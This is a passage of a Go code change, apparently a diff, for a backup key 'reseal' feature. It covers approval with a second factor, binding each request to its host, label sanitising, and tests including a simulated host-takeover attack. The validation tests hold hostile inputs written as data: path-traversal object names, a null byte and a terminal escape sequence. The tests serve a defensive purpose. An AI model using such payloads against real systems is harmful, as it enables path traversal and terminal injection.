if err != nil {
return nil, err
}
label := strings.TrimSpace(req.HostLabel)
if !resealLabelOK(label) {
return nil, fmt.Errorf("host_label must be one line of at most %d bytes of printable text", resealLabelMax)
}
sum := sha256.Sum256([]byte(req.Sidecar))
sh := hex.EncodeToString(sum[:])
var filed *resealRequest
err = withResealLock(dir, func() error {
m, err := resealLoad(dir)
if err != nil {
return err
}
waiting, held := 0, 0
for _, r := range m {
if r.State != "pending" {
continue
}
if r.SidecarSH == sh && r.To == to.String() && r.Pairing == who.Name && r.HostNumber == who.Number {
filed = r
return nil
}
waiting++
held += len(r.Sidecar)
}
if waiting >= resealMaxRequests || held+len(req.Sidecar) > resealMaxBytes {
return fmt.Errorf("this bastion already holds %d restore requests from this host waiting for an answer "+
"(%d KiB; at most %d requests or %d KiB). Answer them on this machine (privatae-bastion backup "+
"requests), or wait for them to lapse after a day, then ask again", waiting, held>>10,
resealMaxRequests, resealMaxBytes>>10)
}
idb := make([]byte, 6)
if _, err := rand.Read(idb); err != nil {
return err
}
r := &resealRequest{
ID: "br-" + hex.EncodeToString(idb), Stamp: req.Stamp, Pairing: who.Name, HostNumber: who.Number, HostLabel: label,
To: to.String(), ToFP: backupKeyFingerprint(raw), Sidecar: req.Sidecar, SidecarSH: sh,
At: time.Now().UTC().Format(time.RFC3339), State: "pending",
}
m[r.ID] = r
if err := resealSave(dir, m); err != nil {
return err
}
filed = r
return nil
})
if err != nil {
return nil, err
}
return filed, nil
}
// resealDecide carries out the person's answer for the pairing who (whose
// state directory dir is). Approve opens the sidecar with the keys held here,
// refuses it unless it is the backup of that pairing's own host number, and
// seals it to the requesting host's key; any failure is recorded as the
// request's outcome for the host to read.
func resealDecide(dir string, who resealWho, id string, approve bool) (*resealRequest, error) {
return resealDecideWith(dir, who, id, approve, "")
}
// resealRefuse refuses a request with the reason given, for the host to read.
func resealRefuse(dir string, who resealWho, id, why string) (*resealRequest, error) {
return resealDecideWith(dir, who, id, false, why)
}
func resealDecideWith(dir string, who resealWho, id string, approve bool, why string) (*resealRequest, error) {
var out *resealRequest
err := withResealLock(dir, func() error {
var err error
out, err = resealDecideLocked(dir, who, id, approve, why)
return err
})
return out, err
}
func resealDecideLocked(dir string, who resealWho, id string, approve bool, why string) (*resealRequest, error) {
m, err := resealLoad(dir)
if err != nil {
return nil, err
}
r, ok := m[id]
if !ok {
return nil, fmt.Errorf("no reseal request %s (requests lapse after a day)", id)
}
if r.State != "pending" {
return nil, fmt.Errorf("request %s is already %s", id, r.State)
}
r.DecidedAt = time.Now().UTC().Format(time.RFC3339Nano)
if !approve {
r.State, r.Error = "refused", why
return r, resealSave(dir, m)
}
if p := resealBindingProblem(r, nil, who); p != "" {
r.State, r.Error = "refused", p
return r, resealSave(dir, m)
}
ids, err := backupIdentities()
if err != nil {
return nil, err
}
to, err := parseBackupRecipient(r.To)
if err != nil {
return nil, err
}
plain, sc, err := openSidecar([]byte(r.Sidecar), ids, r.Stamp)
switch {
case err != nil:
r.State, r.Error = "failed", err.Error()
case resealBindingProblem(r, sc, who) != "":
r.State, r.Error = "refused", resealBindingProblem(r, sc, who)
default:
out, err := sealSidecarTo(plain, to)
if err != nil {
r.State, r.Error = "failed", err.Error()
} else {
r.State, r.Resealed = "done", string(out)
}
}
if serr := resealSave(dir, m); serr != nil {
return nil, serr
}
return r, nil
}
// resealLabelOK: the label is shown to the person on this machine as the
// host's own words, so it must not be able to move the cursor, recolour the
// terminal, reverse text or break the line: no control or format character
// of any kind, valid UTF-8, one short line.
func resealLabelOK(label string) bool {
if len(label) > resealLabelMax || !utf8.ValidString(label) {
return false
}
for _, r := range label {
if unicode.IsControl(r) || unicode.In(r, unicode.Cf, unicode.Zl, unicode.Zp) {
return false
}
}
return true
}
// resealPreview is what the person reads before approving: which pairing
// sent it (this machine's record), what the host says it wants, and what the
// sidecar itself says, opened here with this bastion's key. The returned
// refusal is not "" when approving cannot go through: the sidecar is not the
// backup of that pairing's own host (refused, whatever the person answers),
// or it does not open here, or names another backup.
func resealPreview(r *resealRequest, ids []age.Identity, who resealWho) (string, string) {
var b strings.Builder
b.WriteString(describeReseal(r))
b.WriteString("\n\n What the sidecar says (opened here with this bastion's key):\n")
if p := resealBindingProblem(r, nil, who); p != "" {
fmt.Fprintf(&b, " not opened: %s\n", p)
return b.String(), p
}
_, sc, err := openSidecar([]byte(r.Sidecar), ids, "")
if err != nil {
fmt.Fprintf(&b, " it does not open here: %q\n Approving will fail and the host is told so.\n", err.Error())
return b.String(), ""
}
// Every field that came out of the sidecar is printed quoted: the sidecar
// was written by a host, and what it says must not be able to move the
// cursor or pass for this machine's own words.
fmt.Fprintf(&b, " host number %d\n made at %q\n backup %q (%q)\n",
sc.EntityID, sc.MadeAt, sc.Object, sc.Stamp)
if p := resealBindingProblem(r, sc, who); p != "" {
fmt.Fprintf(&b, " %s.\n", p)
return b.String(), p
}
if sc.Stamp != r.Stamp {
fmt.Fprintf(&b, " This is the backup of %q, not the %q the host asked for: approving will fail.\n",
sc.Stamp, r.Stamp)
}
return b.String(), ""
}
// resealApprove is the person's approval, checked: when this pairing has a
// second factor enrolled, the code must verify (and is spent) before
// anything is opened. A wrong or missing code leaves the request pending.
func resealApprove(dir string, who resealWho, id, code string) (*resealRequest, error) {
if stepupEnrolled(dir) {
code = strings.TrimSpace(code)
if code == "" {
return nil, errors.New("this machine has a second factor enrolled: approving needs its code")
}
if _, err := stepupVerifyAndBurn(dir, code, time.Now()); err != nil {
return nil, err
}
}
return resealDecide(dir, who, id, true)
}
func findResealRequest(m map[string]*resealRequest, prefix string) (string, error) {
var hits []string
for id := range m {
if strings.HasPrefix(id, prefix) {
hits = append(hits, id)
}
}
switch len(hits) {
case 0:
return "", fmt.Errorf("no reseal request starts with %q", prefix)
case 1:
return hits[0], nil
}
return "", fmt.Errorf("%q matches %d requests; give more of the id", prefix, len(hits))
}
func describeReseal(r *resealRequest) string {
host := r.HostLabel
if host == "" {
host = "your host"
}
// The pairing name was checked as a host name at `pair` (validHostName)
// and the number is this machine's own; the label is the host's words and
// printed quoted.
return fmt.Sprintf("%s [%s]\n Sent by the pairing %s, host number %d (this machine's record).\n"+
" What the host says: %q asks for the key to the backup of %s,\n"+
" sealed to its own key %s (fingerprint %s). Approving lets that host\n"+
" open this one backup and no other, and only if it is that host's own.",
r.ID, r.State, r.Pairing, r.HostNumber, host, r.Stamp, r.To, r.ToFP)
}
// ── the person's side, on this machine ──────────────────────────────────────
func cmdBackupRequests(host string) error {
cfg, err := stepupPairing(host)
if err != nil {
return err
}
dir := cfg.dcnDir()
// Request files set aside as unreadable (resealLoad) are named here, so
// the person learns of them whichever process found them.
if aside, _ := filepath.Glob(resealPath(dir) + resealAsideSuffix + "*"); len(aside) > 0 {
fmt.Println("set aside as unreadable (kept, not read):")
for _, a := range aside {
fmt.Println(" " + a)
}
fmt.Println()
}
m, err := resealRead(dir)
if err != nil {
return err
}
if len(m) == 0 {
fmt.Println("no backup requests from", cfg.HostName)
return nil
}
ids := make([]string, 0, len(m))
for id := range m {
ids = append(ids, id)
}
sort.Slice(ids, func(i, j int) bool { return m[ids[i]].At < m[ids[j]].At })
for _, id := range ids {
fmt.Println(describeReseal(m[id]))
fmt.Println()
}
return nil
}
func cmdBackupDecide(host, prefix string, approve bool) error {
cfg, err := stepupPairing(host)
if err != nil {
return err
}
dir := cfg.dcnDir()
m, err := resealRead(dir)
if err != nil {
return err
}
id, err := findResealRequest(m, prefix)
if err != nil {
return err
}
var r *resealRequest
if approve {
who, err := resealWhoOf(cfg)
if err != nil {
return err
}
ids, _ := backupIdentities()
text, refusal := resealPreview(m[id], ids, who)
fmt.Println(text)
if refusal != "" {
// Refused whatever the person answers, and needs no code: a
// refusal hands nothing over.
if _, err := resealRefuse(dir, who, id, refusal); err != nil {
return err
}
return errors.New(refusal)
}
code := ""
if stepupEnrolled(dir) {
fmt.Print("Approve this? Enter the code from your authenticator (or leave empty to cancel): ")
code, _ = bufio.NewReader(os.Stdin).ReadString('\n')
if strings.TrimSpace(code) == "" {
fmt.Println("cancelled — nothing approved")
return nil
}
}
r, err = resealApprove(dir, who, id, code)
} else {
r, err = resealRefuse(dir, resealWho{Name: cfg.HostName}, id, "")
}
if err != nil {
return err
}
switch r.State {
case "done":
fmt.Println("approved — the key to that one backup is sealed to your host; it collects it on its next check.")
case "refused":
if approve {
return errors.New(r.Error)
}
fmt.Println("refused — your host is told on its next check.")
default:
return fmt.Errorf("the reseal failed: %s", r.Error)
}
return nil
}
+151
View File
@@ -0,0 +1,151 @@
package main
// Gate: a restore request is bound to the pairing that sent it. A host that
// was taken over holds the bastion key's sidecars of every host that shares
// this bastion's key (a shared folder, or the platform), so the request's own
// words cannot decide whose backup it is: the host number this machine paired
// with does. Host A asking for host B's backup key is refused, whatever it
// calls itself, and nothing is sealed to A.
import (
"encoding/json"
"fmt"
"path/filepath"
"strings"
"testing"
"filippo.io/age"
)
// withFixturePairings pairs this machine (in a private config folder) with
// one host per name, host number n at fd00:9::e:<n hex>, as the platform
// hands the address out at pairing. Returns each pairing's DCN folder.
func withFixturePairings(t *testing.T, hosts map[string]int64) map[string]string {
t.Helper()
isolateConfigDir(t)
dirs := map[string]string{}
for name, n := range hosts {
dir := filepath.Join(t.TempDir(), "dcn")
c := &Config{HostName: name, HostTunnelIP: fmt.Sprintf("fd00:9::e:%x", n), DCNDir: dir,
BackupRoot: filepath.Join(t.TempDir(), "backups")}
if err := c.save(); err != nil {
t.Fatal(err)
}
dirs[name] = c.dcnDir()
}
return dirs
}
func resealStatusAs(t *testing.T, self, dcn, id string) map[string]string {
t.Helper()
out, errOut, code := driveBackupOpAs(t, self, "backup_reseal", dcn, "", resealReq{Op: "status", JobID: id})
if code != 0 {
t.Fatalf("status exited %d: %s", code, errOut)
}
var m map[string]string
if err := json.Unmarshal([]byte(out), &m); err != nil {
t.Fatalf("status is not JSON: %s", out)
}
return m
}
func resealStartAs(t *testing.T, self, dcn string, req resealReq) string {
t.Helper()
out, errOut, code := driveBackupOpAs(t, self, "backup_reseal", dcn, "", req)
if code != 0 {
t.Fatalf("start from %s exited %d: %s", self, code, errOut)
}
var m map[string]string
_ = json.Unmarshal([]byte(out), &m)
if m["state"] != "pending" || m["job_id"] == "" {
t.Fatalf("start from %s filed nothing: %s", self, out)
}
return m["job_id"]
}
// The attack: host A (number 7) was taken over. It holds host B's key file
// (B is number 42, the fixture's host), names itself "B", and asks for that
// backup's key sealed to its own key. The person approves at this machine.
// Nothing reaches A. B asking for its own backup still works.
func TestResealRefusesAnotherHostsBackupWhateverTheHostSays(t *testing.T) {
const hostA, hostB = "a7.host.privatae.ai", fixtureHost
dirs := withFixturePairings(t, map[string]int64{hostA: 7, hostB: fixtureEntity})
fx := newBackupFixture(t, "") // host fixtureEntity's (B's) backup
fx.installAsBastionKey(t)
attacker, _ := age.GenerateX25519Identity()
id := resealStartAs(t, hostA, dirs[hostA], resealReq{Op: "start", Sidecar: string(fx.sidecar(t)),
To: attacker.Recipient().String(), Stamp: fixtureStamp, HostLabel: hostB})
err := cmdBackupDecide(hostA, id, true)
if err == nil {
t.Fatal("the person's approval went through for another host's backup")
}
if !strings.Contains(err.Error(), "host number 42") || !strings.Contains(err.Error(), "host number 7") {
t.Errorf("the refusal does not say whose backup it is and who asked: %v", err)
}
st := resealStatusAs(t, hostA, dirs[hostA], id)
if st["state"] == "done" || st["sidecar"] != "" {
t.Fatalf("host A was handed host B's backup key: %v", st)
}
if st["state"] != "refused" {
t.Fatalf("the request reads %v, not refused", st)
}
// B, asking for its own backup, is served.
own, _ := age.GenerateX25519Identity()
idB := resealStartAs(t, hostB, dirs[hostB], resealReq{Op: "start", Sidecar: string(fx.sidecar(t)),
To: own.Recipient().String(), Stamp: fixtureStamp, HostLabel: "B"})
if err := cmdBackupDecide(hostB, idB, true); err != nil {
t.Fatalf("a host's own backup was refused: %v", err)
}
if st := resealStatusAs(t, hostB, dirs[hostB], idB); st["state"] != "done" || st["sidecar"] == "" {
t.Fatalf("host B did not get its own backup's key: %v", st)
}
}
// The refusal does not rest on the CLI's preview: resealDecide itself opens
// the sidecar and refuses another host's backup, and a request filed by one
// pairing cannot be approved as another's.
func TestResealDecideRefusesWhatIsNotThePairingsOwn(t *testing.T) {
fx := newBackupFixture(t, "")
fx.installAsBastionKey(t)
dir := t.TempDir()
host, _ := age.GenerateX25519Identity()
a := resealWho{Name: "a7.host.privatae.ai", Number: 7}
r, err := resealFile(dir, a, resealReq{Sidecar: string(fx.sidecar(t)), To: host.Recipient().String(), Stamp: fixtureStamp})
if err != nil {
t.Fatal(err)
}
if r.Pairing != a.Name || r.HostNumber != 7 {
t.Fatalf("the request is not bound to the pairing that filed it: %+v", r)
}
// Approved as if by host 42's pairing: the request is A's, refused.
got, err := resealDecide(dir, fixtureWho, r.ID, true)
if err != nil || got.State != "refused" || got.Resealed != "" || !strings.Contains(got.Error, "filed by") {
t.Fatalf("a request was approved for a pairing that did not file it: %+v %v", got, err)
}
r, _ = resealFile(dir, a, resealReq{Sidecar: string(fx.sidecar(t)), To: mustRecipient(t), Stamp: fixtureStamp})
got, err = resealDecide(dir, a, r.ID, true)
if err != nil || got.State != "refused" || got.Resealed != "" || !strings.Contains(got.Error, "host number 42") {
t.Fatalf("host 7 was given host 42's backup key: %+v %v", got, err)
}
if _, err := resealFile(dir, resealWho{Name: "x"}, resealReq{Sidecar: string(fx.sidecar(t)), To: mustRecipient(t),
Stamp: fixtureStamp}); err == nil {
t.Fatal("a request with no host number was filed")
}
}
func TestHostNumberComesFromTheTunnelAddress(t *testing.T) {
for ip, want := range map[string]int64{"fd00:9::e:2a": 42, "fd00:9::e:1": 1, "fd00:9::e:ffff": 0xffff,
"FD00:0009:0000:0000:0000:0000:000E:0007": 7} {
if n, ok := hostNumberOf(ip); !ok || n != want {
t.Errorf("%s: %d %v, want %d", ip, n, ok, want)
}
}
for _, ip := range []string{"", "fd00:9::e:0", "fd00:9::a:2a", "fd00:8::e:2a", "fd00:9:0:1::e:2a", "10.0.0.42",
"::ffff:10.0.0.42", "fd00:9::e:2a%eth0", "fd00:9::1:e:2a", "not an address"} {
if n, ok := hostNumberOf(ip); ok {
t.Errorf("%q read as host number %d", ip, n)
}
}
}
+192
View File
@@ -0,0 +1,192 @@
package main
// Gate: the pairing's request file is written by two processes (the daemon
// files, the person's `backup approve`/`deny` decides), and neither loses
// the other's write; an unreadable file is set aside, never wiped; and an
// answer frees the room its request took.
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"sync"
"testing"
)
func junkSidecar(tag string, i int) string {
return "-----BEGIN AGE ENCRYPTED FILE-----\n" + tag + "-" + strconv.Itoa(i) + "\n-----END AGE ENCRYPTED FILE-----\n"
}
// TestResealHelperProcess is not a test on its own: the concurrency test
// below runs this binary again with these variables set, so each writer is a
// separate process, as the daemon and the CLI are.
func TestResealHelperProcess(t *testing.T) {
dir := os.Getenv("PRIVATAE_RESEAL_HELPER_DIR")
if dir == "" {
t.Skip("run by TestResealFileKeepsEveryWriteAcrossProcesses")
}
tag := os.Getenv("PRIVATAE_RESEAL_HELPER_TAG")
rounds, _ := strconv.Atoi(os.Getenv("PRIVATAE_RESEAL_HELPER_ROUNDS"))
to := mustRecipient(t)
for i := 0; i < rounds; i++ {
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar(tag, i), To: to, Stamp: fixtureStamp})
if err != nil {
t.Fatalf("%s: file %d: %v", tag, i, err)
}
if _, err := resealRefuse(dir, fixtureWho, r.ID, tag); err != nil {
t.Fatalf("%s: deny %d: %v", tag, i, err)
}
}
}
// Several processes each file a request and deny it, over and over, on one
// pairing's file. Every request filed is there at the end, and every one is
// refused: none was dropped by a stale save, and no answer was reverted to
// pending.
func TestResealFileKeepsEveryWriteAcrossProcesses(t *testing.T) {
if testing.Short() {
t.Skip("starts processes")
}
const procs, rounds = 4, 15 // 60 answered requests: under resealMaxAnswered, so none is dropped
if procs*rounds > resealMaxAnswered {
t.Fatal("the test would lose answered requests to the bound, not to a race")
}
dir := t.TempDir()
var wg sync.WaitGroup
errs := make([]error, procs)
outs := make([][]byte, procs)
for p := 0; p < procs; p++ {
wg.Add(1)
go func(p int) {
defer wg.Done()
cmd := exec.Command(os.Args[0], "-test.run=^TestResealHelperProcess$", "-test.count=1")
cmd.Env = append(os.Environ(), "PRIVATAE_RESEAL_HELPER_DIR="+dir,
fmt.Sprintf("PRIVATAE_RESEAL_HELPER_TAG=p%d", p), fmt.Sprintf("PRIVATAE_RESEAL_HELPER_ROUNDS=%d", rounds))
outs[p], errs[p] = cmd.CombinedOutput()
}(p)
}
wg.Wait()
for p := range errs {
if errs[p] != nil {
t.Fatalf("writer %d: %v\n%s", p, errs[p], outs[p])
}
}
m, err := resealRead(dir)
if err != nil {
t.Fatal(err)
}
if len(m) != procs*rounds {
t.Fatalf("%d of %d requests are on file: writes were lost", len(m), procs*rounds)
}
for _, r := range m {
if r.State != "refused" || !strings.HasPrefix(r.Error, "p") {
t.Fatalf("an answer was lost: %+v", r)
}
}
}
// A request file that does not parse is set aside whole, the error says
// where, and the next request starts a new file.
func TestResealUnreadableFileIsSetAsideNotWiped(t *testing.T) {
dir := t.TempDir()
junk := []byte(`{"br-1": {"id": "br-1", "state": "pending"` + "\x00 torn")
if err := os.WriteFile(resealPath(dir), junk, 0o600); err != nil {
t.Fatal(err)
}
to := mustRecipient(t)
_, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("a", 0), To: to, Stamp: fixtureStamp})
if err == nil || !strings.Contains(err.Error(), "kept as") {
t.Fatalf("an unreadable request file was not reported: %v", err)
}
aside, _ := filepath.Glob(resealPath(dir) + resealAsideSuffix + "*")
if len(aside) != 1 {
t.Fatalf("the unreadable file was not set aside: %v", aside)
}
if got, _ := os.ReadFile(aside[0]); string(got) != string(junk) {
t.Fatal("the file set aside is not the file that was there")
}
if !strings.Contains(err.Error(), aside[0]) {
t.Errorf("the error does not say where the file is: %v", err)
}
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("a", 0), To: to, Stamp: fixtureStamp})
if err != nil || r.State != "pending" {
t.Fatalf("a new file was not started: %v", err)
}
// "null" is an empty record, not a crash.
_ = os.WriteFile(resealPath(dir), []byte("null"), 0o600)
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("a", 1), To: to, Stamp: fixtureStamp}); err != nil {
t.Fatalf("a null record: %v", err)
}
}
// The bound is on requests waiting for an answer: answering one, either
// way, frees its room at once, and an answered request no longer holds the
// sidecar it came with.
func TestResealAnswerFreesRoom(t *testing.T) {
dir := t.TempDir()
to := mustRecipient(t)
var ids []string
for i := 0; i < resealMaxRequests; i++ {
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("q", i), To: to, Stamp: fixtureStamp})
if err != nil {
t.Fatalf("request %d: %v", i, err)
}
ids = append(ids, r.ID)
}
next := resealReq{Sidecar: junkSidecar("q", 100), To: to, Stamp: fixtureStamp}
if _, err := resealFile(dir, fixtureWho, next); err == nil {
t.Fatal("a request past the bound was filed")
}
if _, err := resealRefuse(dir, fixtureWho, ids[0], ""); err != nil {
t.Fatal(err)
}
if _, err := resealFile(dir, fixtureWho, next); err != nil {
t.Fatalf("a deny did not free room: %v", err)
}
// An approval frees room too, whatever its outcome (this sidecar does not
// open, so it fails).
withBackupKeysDir(t)
newBackupFixture(t, "").installAsBastionKey(t)
if _, err := resealDecide(dir, fixtureWho, ids[1], true); err != nil {
t.Fatal(err)
}
if _, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("q", 101), To: to, Stamp: fixtureStamp}); err != nil {
t.Fatalf("an approval did not free room: %v", err)
}
m, _ := resealRead(dir)
for _, id := range ids[:2] {
if m[id].State == "pending" || m[id].Sidecar != "" {
t.Fatalf("an answered request still holds its sidecar: %+v", m[id])
}
}
}
// Answered requests are kept for the host to read, at most resealMaxAnswered
// of them, the oldest answered going first.
func TestResealAnsweredRequestsAreBounded(t *testing.T) {
dir := t.TempDir()
to := mustRecipient(t)
var first string
for i := 0; i < resealMaxAnswered+5; i++ {
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("z", i), To: to, Stamp: fixtureStamp})
if err != nil {
t.Fatal(err)
}
if i == 0 {
first = r.ID
}
if _, err := resealRefuse(dir, fixtureWho, r.ID, ""); err != nil {
t.Fatal(err)
}
}
m, _ := resealRead(dir)
if len(m) != resealMaxAnswered {
t.Fatalf("%d answered requests kept, want %d", len(m), resealMaxAnswered)
}
if _, ok := m[first]; ok {
t.Fatal("the oldest answered request was kept and a newer one dropped")
}
}
+527
View File
@@ -0,0 +1,527 @@
package main
// Gate: a reseal hands a host the key to ONE backup, sealed to that host
// alone, only after the person approves it here; and it refuses anything that
// is not the backup it claims to be. The fixture sidecar was written by the
// real age command (testdata/backup), in the shape hosts write.
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"net/http/httptest"
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
"time"
"filippo.io/age"
"filippo.io/age/armor"
"github.com/gorilla/websocket"
)
func armorSeal(t *testing.T, plain []byte, to age.Recipient) []byte {
t.Helper()
var out bytes.Buffer
aw := armor.NewWriter(&out)
w, err := age.Encrypt(aw, to)
if err != nil {
t.Fatal(err)
}
_, _ = w.Write(plain)
_ = w.Close()
_ = aw.Close()
return out.Bytes()
}
func armorOpen(t *testing.T, armored []byte, id age.Identity) []byte {
t.Helper()
r, err := age.Decrypt(armor.NewReader(bytes.NewReader(armored)), id)
if err != nil {
t.Fatalf("the resealed sidecar does not open with the host's key: %v", err)
}
b, _ := io.ReadAll(r)
return b
}
// Cross-language, both directions: a sidecar the age command wrote is opened
// and resealed here, and what this code wrote opens with the age command.
func TestResealOpensAnAgeWrittenSidecarAndSealsToTheHostAlone(t *testing.T) {
bin := ageBinary(t)
fx := newBackupFixture(t, bin)
host, _ := age.GenerateX25519Identity()
other, _ := age.GenerateX25519Identity()
out, sc, err := resealSidecar(fx.sidecar(t), []age.Identity{fx.recovery}, host.Recipient(), fixtureStamp)
if err != nil {
t.Fatal(err)
}
if sc.Stamp != fixtureStamp || sc.EntityID != 42 {
t.Fatalf("read the wrong record: %+v", sc)
}
if got := armorOpen(t, out, host); !bytes.Equal(got, fx.plain) {
t.Fatalf("the resealed record is not the sealed one, byte for byte:\n%s\n%s", got, fx.plain)
}
if _, err := age.Decrypt(armor.NewReader(bytes.NewReader(out)), other); err == nil {
t.Fatal("a host that was not asked for opened the resealed key")
}
if _, err := age.Decrypt(armor.NewReader(bytes.NewReader(out)), fx.recovery); err == nil {
t.Fatal("the resealed copy is also sealed to the key that opened it; it must go to the host alone")
}
if strings.Contains(string(out), "AGE-SECRET-KEY") {
t.Fatal("the identity travels in clear")
}
dir := t.TempDir()
idFile := filepath.Join(dir, "host.txt")
_ = os.WriteFile(idFile, []byte(host.String()+"\n"), 0o600)
scFile := filepath.Join(dir, "resealed.age")
_ = os.WriteFile(scFile, out, 0o600)
got, err := exec.Command(bin, "-d", "-i", idFile, scFile).Output()
if err != nil {
t.Fatalf("the age command cannot open the resealed sidecar: %v", err)
}
if !bytes.Equal(got, fx.plain) {
t.Fatal("the age command reads a different record")
}
}
func TestResealRefusesWhatIsNotTheBackupItClaims(t *testing.T) {
user, _ := age.GenerateX25519Identity()
host, _ := age.GenerateX25519Identity()
pb, _ := age.GenerateX25519Identity()
ids := []age.Identity{user}
good := backupSidecar{V: 1, Kind: sidecarKind, Identity: pb.String(),
Object: "b/" + fixtureStamp + ".tar.zst.age", EntityID: 7, Stamp: fixtureStamp, MadeAt: "2026-09-28T02:00:00Z"}
seal := func(sc any) []byte {
b, _ := json.Marshal(sc)
return armorSeal(t, b, user.Recipient())
}
if _, _, err := resealSidecar(seal(good), ids, host.Recipient(), fixtureStamp); err != nil {
t.Fatalf("a good sidecar was refused: %v", err)
}
cases := map[string][]byte{}
b := good
b.Kind = "something-else"
cases["wrong kind"] = seal(b)
b = good
b.V = 2
cases["unknown version"] = seal(b)
b = good
b.Object = "b/20260101T000000Z.tar.zst.age"
cases["object names another backup"] = seal(b)
b = good
b.Stamp = "yesterday"
b.Object = "b/yesterday.tar.zst.age"
cases["stamp is not a stamp"] = seal(b)
b = good
b.MadeAt = "yesterday\x1b[2J"
cases["made_at is not a time"] = seal(b)
b = good
b.MadeAt = ""
cases["no made_at"] = seal(b)
b = good
b.Identity = "AGE-SECRET-KEY-1NOTAKEY"
cases["identity does not parse"] = seal(b)
cases["not JSON"] = armorSeal(t, []byte("hello"), user.Recipient())
cases["sealed to someone else"] = armorSeal(t, sidecarJSON(good), host.Recipient())
cases["too large"] = bytes.Repeat([]byte("A"), sidecarMaxBytes+1)
for name, in := range cases {
if _, _, err := resealSidecar(in, ids, host.Recipient(), ""); err == nil {
t.Errorf("%s: resealed", name)
}
}
// A sidecar for one backup cannot be resealed as another.
if _, _, err := resealSidecar(seal(good), ids, host.Recipient(), "20250101T000000Z"); err == nil {
t.Error("a sidecar was resealed for a backup it does not name")
}
}
// A host writes a backup's key file naming b/<stamp> when the backup is kept
// in platform storage and s/<stamp> when it is staged there only until a
// second copy exists (a backup kept only on a bastion). Both open and reseal,
// written by the age command and by this code alike.
func TestResealTakesBothPlacesABackupIsKept(t *testing.T) {
bins := []string{""}
if p, err := exec.LookPath("age"); err == nil {
bins = append(bins, p)
} else if p := os.Getenv("AGE_BIN"); p != "" {
bins = append(bins, p)
} else if os.Getenv("PRIVATAE_REQUIRE_AGE") != "" {
t.Fatal("PRIVATAE_REQUIRE_AGE is set and no age binary was found (AGE_BIN or PATH)")
}
for _, bin := range bins {
for _, sub := range []string{"b", "s"} {
fx := newBackupFixtureAs(t, bin, sub, fixtureEntity)
host, _ := age.GenerateX25519Identity()
out, sc, err := resealSidecar(fx.sidecar(t), []age.Identity{fx.recovery}, host.Recipient(), fixtureStamp)
if err != nil {
t.Fatalf("%s/ key file (age command: %v) refused: %v", sub, bin != "", err)
}
if sc.Object != sub+"/"+fixtureStamp+".tar.zst.age" {
t.Fatalf("read the wrong record: %+v", sc)
}
if !bytes.Equal(armorOpen(t, out, host), fx.plain) {
t.Fatalf("%s/: the resealed record is not the sealed one", sub)
}
}
}
}
// Only those two places, and only the sidecar's own stamp: any other folder,
// a path that climbs or nests, or another backup's name is refused.
func TestResealRefusesAnObjectOutsideBothPlaces(t *testing.T) {
user, _ := age.GenerateX25519Identity()
host, _ := age.GenerateX25519Identity()
pb, _ := age.GenerateX25519Identity()
name := fixtureStamp + ".tar.zst.age"
for _, obj := range []string{
"x/" + name, "../b/" + name, "b/../b/" + name, "s/../b/" + name, "b/b/" + name, "b//" + name,
"/b/" + name, "./b/" + name, "B/" + name, "S/" + name, "bs/" + name, "exports/" + name,
"b\\" + name, name, "b/", "s/", "", "b/20260101T000000Z.tar.zst.age", "s/" + fixtureStamp + ".tar.zst",
"s/" + fixtureStamp + ".tar.zst.age/x", " s/" + name, "s/" + name + "\x00",
} {
sc := backupSidecar{V: 1, Kind: sidecarKind, Identity: pb.String(), Object: obj, EntityID: fixtureEntity,
Stamp: fixtureStamp, MadeAt: "2026-09-28T02:00:00Z"}
in := armorSeal(t, sidecarJSON(sc), user.Recipient())
if _, _, err := resealSidecar(in, []age.Identity{user}, host.Recipient(), ""); err == nil ||
!strings.Contains(err.Error(), "does not match its stamp") {
t.Errorf("object %q: %v", obj, err)
}
}
}
func sidecarJSON(v any) []byte {
b, _ := json.Marshal(v)
return b
}
// driveBackupOp runs one job through the real management frame path, from
// an anonymous caller.
func driveBackupOp(t *testing.T, op, dcnDir, backupRoot string, arg any) (string, string, int) {
t.Helper()
return driveBackupOpAs(t, "", op, dcnDir, backupRoot, arg)
}
// driveBackupOpAs is driveBackupOp from the pairing self.
func driveBackupOpAs(t *testing.T, self, op, dcnDir, backupRoot string, arg any) (string, string, int) {
t.Helper()
raw, _ := json.Marshal(arg)
up := websocket.Upgrader{}
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
ws, err := up.Upgrade(w, r, nil)
if err != nil {
return
}
defer ws.Close()
handleMgmtConnFor(ws, self, "", dcnDir, backupRoot)
}))
defer srv.Close()
c, _, err := websocket.DefaultDialer.Dial("ws"+strings.TrimPrefix(srv.URL, "http"), nil)
if err != nil {
t.Fatalf("dial: %v", err)
}
defer c.Close()
job, _ := json.Marshal(mgmtJob{Op: op, Args: []string{string(raw)}})
if err := c.WriteMessage(websocket.BinaryMessage, append([]byte("C"), job...)); err != nil {
t.Fatalf("write: %v", err)
}
var out, errOut string
for {
_, data, err := c.ReadMessage()
if err != nil {
t.Fatalf("read: %v", err)
}
switch data[0] {
case 'O':
out += string(data[1:])
case 'R':
errOut += string(data[1:])
case 'X':
var code int
fmt.Sscanf(string(data[1:]), "%d", &code)
return out, errOut, code
}
}
}
func resealStatus(t *testing.T, dcn, id string) map[string]string {
t.Helper()
out, errOut, code := driveBackupOp(t, "backup_reseal", dcn, "", resealReq{Op: "status", JobID: id})
if code != 0 {
t.Fatalf("status exited %d: %s", code, errOut)
}
var m map[string]string
if err := json.Unmarshal([]byte(out), &m); err != nil {
t.Fatalf("status is not JSON: %s", out)
}
return m
}
// The whole lane: the host files, nothing is opened until the person
// approves here, then the host collects a key only it can open.
func TestBackupResealWaitsForThePersonThenDeliversToTheHostOnly(t *testing.T) {
fx := newBackupFixture(t, "")
fx.installAsBastionKey(t)
dcn := withFixturePairings(t, map[string]int64{fixtureHost: fixtureEntity})[fixtureHost]
host, _ := age.GenerateX25519Identity()
req := resealReq{Op: "start", Sidecar: string(fx.sidecar(t)), To: host.Recipient().String(),
